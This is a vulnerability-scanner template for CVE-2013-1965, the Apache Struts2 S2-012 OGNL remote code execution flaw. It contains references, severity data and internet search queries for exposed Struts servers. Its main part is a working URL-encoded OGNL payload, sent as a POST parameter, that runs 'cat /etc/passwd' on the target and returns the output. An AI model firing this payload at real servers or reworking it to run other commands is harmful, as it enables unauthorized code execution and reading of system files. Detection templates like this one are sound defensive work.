id: CVE-2013-1965 info: name: Apache Struts2 S2-012 RCE author: pikpikcu severity: critical description: Apache Struts Showcase App 2.0.0 through 2.3.13, as used in Struts 2 before 2.3.14.3, allows remote attackers to execute arbitrary OGNL code via a crafted parameter name that is not properly handled when invoking a redirect. impact: | Successful exploitation of this vulnerability can lead to remote code execution on the affected server. remediation: Developers should immediately upgrade to Struts 2.3.14.3 or later. reference: - http://struts.apache.org/development/2.x/docs/s2-012.html - https://nvd.nist.gov/vuln/detail/CVE-2013-1965 - https://bugzilla.redhat.com/show_bug.cgi?id=967655 - https://github.com/CrackerCat/myhktools - https://github.com/GhostTroops/myhktools classification: cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:C/I:C/A:C cvss-score: 9.3 cve-id: CVE-2013-1965 cwe-id: CWE-94 epss-score: 0.00813 epss-percentile: 0.79935 cpe: cpe:2.3:a:apache:struts:*:*:*:*:*:*:*:* metadata: max-request: 1 vendor: apache product: struts shodan-query: - http.html:"apache struts" - http.title:"struts2 showcase" - http.html:"struts problem report" fofa-query: - body="struts problem report" - title="struts2 showcase" - body="apache struts" google-query: intitle:"struts2 showcase" tags: cve2013,cve,apache,rce,struts,ognl http: - method: POST path: - "{{BaseURL}}/user.action" body: | name=%25%7B%23a%3D%28new+java.lang.ProcessBuilder%28new+java.lang.String%5B%5D%7B%22cat%22%2C+%22%2Fetc%2Fpasswd%22%7D%29%29.redirectErrorStream%28true%29.start%28%29%2C%23b%3D%23a.getInputStream%28%29%2C%23c%3Dnew+java.io.InputStreamReader%28%23b%29%2C%23d%3Dnew+java.io.BufferedReader%28%23c%29%2C%23e%3Dnew+char%5B50000%5D%2C%23d.read%28%23e%29%2C%23f%3D%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29%2C%23f.getWriter%28%29.println%28new+java.lang.String%28%23e%29%29%2C%23f.getWriter%28%29.flush%28%29%2C%23f.getWriter%28%29.close%28%29%7D headers: Content-Type: application/x-www-form-urlencoded matchers-condition: and matchers: - type: regex regex: - "root:.*:0:0:" - type: status status: - 200 # digest: 4a0a004730450220168f2ceafa9398f1fc6df358204734263379eb8fe96271e8fc739cebecf201d702210082d01b4e4bb988273ae94292d6e113c8ae25ac0b8364cbdd2ad53c5b51b4fa37:922c64590222798bb761d5b6d8e72950